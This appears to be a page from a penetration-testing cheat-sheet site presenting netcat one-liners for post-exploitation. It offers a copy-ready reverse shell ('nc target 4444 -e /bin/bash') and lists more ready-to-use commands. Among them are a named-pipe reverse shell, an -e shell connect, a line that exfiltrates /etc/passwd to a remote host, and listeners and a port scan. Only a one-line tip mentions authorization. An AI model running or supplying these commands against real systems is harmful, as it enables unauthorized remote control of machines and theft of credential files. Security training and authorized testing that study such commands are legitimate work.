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🎯 Post-Exploitation Netcat

Reverse shell

Netcat command for reverse shell. Copy the command below and use it in your terminal.

netcat — terminal
┌──(kali㉿kali)-[~]
└─$ nc target 4444 -e /bin/bash
Tool
Netcat
Category
Post-Exploitation
Purpose
Reverse shell

🛡️ Usage Tips

  • Always ensure you have proper authorization before using Netcat against any target
  • Replace target with the actual IP address or hostname you are testing
  • Run this command from a Kali Linux terminal or any system with Netcat installed
  • Combine with other Netcat commands for more comprehensive results
  • Pipe output to a file with > output.txt for later analysis

🔗 More Netcat Commands

nc -lvnp 4444
Start listener
nc -lvnp 4444 > file
Receive file
nc target 4444 < file
Send file
nc -zv target 1-1000
Port scan
nc -lvnp 4444 -k
Persistent listener
nc -u -lvnp 53
UDP listener
nc -e /bin/sh target 4444
Bind shell connect
nc -w 3 target 4444
3 second timeout
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f
/bin/sh -i 2>&1|nc target 4444 >/tmp/f|Named pipe reverse shell
nc -lvnp 4444 | tee output.txt
Listener with logging
nc target 4444 < /etc/passwd
Exfil passwd file
nc -X 5 -x proxy:1080 target 4444
Through SOCKS5 proxy

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